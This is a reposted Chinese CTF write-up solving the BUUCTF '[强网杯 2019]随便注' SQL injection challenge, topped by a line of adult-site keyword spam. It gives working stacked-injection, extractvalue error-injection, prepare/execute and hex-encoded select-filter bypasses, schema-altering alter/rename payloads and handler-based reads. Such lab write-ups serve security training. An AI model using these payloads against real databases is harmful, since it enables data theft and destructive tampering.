日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪(fǎng)問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

BUUCTF-WEB:[强网杯 2019]随便注 1

發(fā)布時(shí)間:2025/3/15 编程问答 22 豆豆
生活随笔 收集整理的這篇文章主要介紹了 BUUCTF-WEB:[强网杯 2019]随便注 1 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

題目環(huán)境:http://de044ac0-9162-4b83-b6a6-8c99ce0efe91.node3.buuoj.cn

打開(kāi)環(huán)境:

嘗試注入:

解題思路:
1、先嘗試用union聯(lián)合注入:

第一步、測(cè)試注入點(diǎn)(一些小tips:利用引號(hào),and 1=1, or 1=1之類(lèi)的)判斷是字符型還是數(shù)字型

1'? ? ? ? ? ? ? ? ? ? ? ? ? ? ?[error]
1'#? ? ? ? ? ? ? ? ? ? ? ? ? ?[不報(bào)錯(cuò),正常回顯]
1' and 1=1#? ? ? ? ? ? ?[不報(bào)錯(cuò),正常回顯]
1' or?1=1#? ? ? ? ? ? ? ? [不報(bào)錯(cuò),正常回顯]
初步判定存在SQL注入

第二步、利用order by查表的列數(shù)

1' order by 1#? ? ? ? [不報(bào)錯(cuò),正常回顯]
1' order by 2#? ? ? ??[不報(bào)錯(cuò),正常回顯]
1' order by 3#? ? ? ? [error 1054 : Unknown column '3' in 'order clause']

得知這張表有三列

第三步、如有回顯,找到回顯位(回顯,就是顯示正在執(zhí)行的批處理命令及執(zhí)行的結(jié)果等)

1' union select 1,2#? ? ? [return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);]-----回顯了過(guò)濾的關(guān)鍵字(/i表示對(duì)大小寫(xiě)不敏感)

2、不能找到回顯位,接下來(lái)嘗試使用堆疊注入(就是通過(guò)?;分號(hào)注入多條SQL語(yǔ)句

①通過(guò)show databases爆出數(shù)據(jù)庫(kù):1';show databases;#(執(zhí)行結(jié)果如下圖)

②用 show tables 嘗試爆表:1';show tables;#(發(fā)現(xiàn)有words和1919810931114514這兩張表)

③可以看到這里有兩個(gè)表,我們先嘗試爆words表中的內(nèi)容:1'; show columns from words; #

然后爆表 1919810931114514 中的內(nèi)容:1'; show columns from `1919810931114514`; #??
注意:表名為數(shù)字時(shí),要用反引號(hào)包起來(lái)查詢(xún)(反引號(hào)為英文狀態(tài)下的Tab上面那個(gè)鍵)

以上步驟可以發(fā)現(xiàn)爆出來(lái)了flag字段,然而我對(duì)于flag毫無(wú)辦法:

這里過(guò)濾了select,也沒(méi)有發(fā)現(xiàn)繞過(guò)select的地方(大小寫(xiě),加注釋)。
于是可以考慮一下報(bào)錯(cuò)注入,這里限制了update,那么就不用updatexml,用extractvalue

用戶(hù)名 1' and (extractvalue(1,concat(0x7e,user(),0x7e)));# error 1105 : XPATH syntax error: '~root@localhost~'數(shù)據(jù)庫(kù)1' and (extractvalue(1,concat(0x7e,database(),0x7e)));# error 1105 : XPATH syntax error: '~supersqli~'版本 1' and (extractvalue(1,concat(0x7e,version(),0x7e)));# error 1105 : XPATH syntax error: '~10.3.15-MariaDB~'

到這里可以查出簡(jiǎn)單的信息,但是過(guò)濾了select,似乎無(wú)法進(jìn)一步查表查列了。

可以看到1919810931114514表中有我們想要的flag字段,現(xiàn)在常規(guī)方法基本就結(jié)束了,要想獲得flag就必須來(lái)點(diǎn)騷姿勢(shì)了
借鑒一下大佬們的wp:大佬A、大佬B

繞過(guò)SELECT解題思路1:SQL預(yù)編譯

上一步我們可以得知flag存在于1919810931114514表的flag字段
接下來(lái)要讀取此字段內(nèi)的數(shù)據(jù),我們要執(zhí)行的目標(biāo)語(yǔ)句是:select * from `1919810931114514`;但是由上面步驟可知過(guò)濾了select關(guān)鍵字
這里需要繞過(guò)select的限制,我們可以使用SQL預(yù)編譯的方式:

預(yù)編譯相關(guān)語(yǔ)法如下: set用于設(shè)置變量名和值 prepare用于預(yù)備一個(gè)語(yǔ)句,并賦予名稱(chēng),以后可以引用該語(yǔ)句 execute執(zhí)行語(yǔ)句 deallocate prepare用來(lái)釋放掉預(yù)處理的語(yǔ)句

直接上payload就懂了:

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#拆分開(kāi)來(lái)如下 -1'; set @sql = CONCAT('se','lect * from `1919810931114514`;'); prepare stmt from @sql; EXECUTE stmt; #


這里檢測(cè)到了set和prepare關(guān)鍵詞,但strstr這個(gè)函數(shù)并不能區(qū)分大小寫(xiě),我們將其大寫(xiě)即可。
payload改為:

-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');PRepare stmt from @sql;EXECUTE stmt;#

獲得FLAG:

flag{916339c0-aa58-4f9e-827f-6489a2d3ff44}

或者:

因?yàn)閟elect被過(guò)濾了,所以先將select * from `?1919810931114514?`進(jìn)行16進(jìn)制編碼

再通過(guò)構(gòu)造payload得

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

進(jìn)而得到flag

  • prepare…from…是預(yù)處理語(yǔ)句,會(huì)進(jìn)行編碼轉(zhuǎn)換。
  • execute用來(lái)執(zhí)行由SQLPrepare創(chuàng)建的SQL語(yǔ)句。
  • SELECT可以在一條語(yǔ)句里對(duì)多個(gè)變量同時(shí)賦值,而SET只能一次對(duì)一個(gè)變量賦值。



繞過(guò)SELECT解題思路2:更改表名列名
?雖然有強(qiáng)大的正則過(guò)濾,但沒(méi)有過(guò)濾alert和rename關(guān)鍵字

由上面的探測(cè)我們可以猜測(cè)出這里會(huì)查詢(xún)出words表的data列的結(jié)果。也就是類(lèi)似于下面的sql語(yǔ)句:

select * from words where id = '';

反想一下,我們?nèi)绻麑⒈?919810931114514名字改為words,flag列名字改為id,那么我們就能得到flag的內(nèi)容了!
修改表名和列名的語(yǔ)法如下:

-- 修改表名 rename table old_table to new_table; -- 或者 alter table old_table rename to new_table;-- 修改列名稱(chēng) alter table table_name change column old_name new_name varchar(255);-- 修改字段類(lèi)型 alter table table_name modify column column_name varchar(255) default '' COMMENT '注釋';

最終payload如下:先將原來(lái)的表words改為words1,將表1919810931114514名字改為words,flag列名字改為id

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#拆分開(kāi)來(lái)如下 1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50); #

然后使用1' or 1=1#即可查詢(xún)出flag(相當(dāng)于二次注入)

?

繞過(guò)SELECT解題思路3:handler語(yǔ)句代替select查詢(xún)
類(lèi)似題型:[2020i春秋抗疫賽] WEB blanklist(SQL堆疊注入、handler繞過(guò))

mysql除可使用select查詢(xún)表中的數(shù)據(jù),也可使用handler語(yǔ)句,這條語(yǔ)句使我們能夠一行一行的瀏覽一個(gè)表中的數(shù)據(jù),不過(guò)handler語(yǔ)句并不具備select語(yǔ)句的所有功能。它是mysql專(zhuān)用的語(yǔ)句,并沒(méi)有包含到SQL標(biāo)準(zhǔn)中。

語(yǔ)法結(jié)構(gòu):HANDLER tbl_name OPEN [ [AS] alias]HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)[ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]HANDLER tbl_name CLOSE 如:通過(guò)handler語(yǔ)句查詢(xún)users表的內(nèi)容 handler users open as yunensec; #指定數(shù)據(jù)表進(jìn)行載入并將返回句柄重命名 handler yunensec read first; #讀取指定表/句柄的首行數(shù)據(jù) handler yunensec read next; #讀取指定表/句柄的下一行數(shù)據(jù) handler yunensec read next; #讀取指定表/句柄的下一行數(shù)據(jù) ... handler yunensec close; #關(guān)閉句柄

本題payload如下:

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

?

?

總結(jié)

以上是生活随笔為你收集整理的BUUCTF-WEB:[强网杯 2019]随便注 1的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。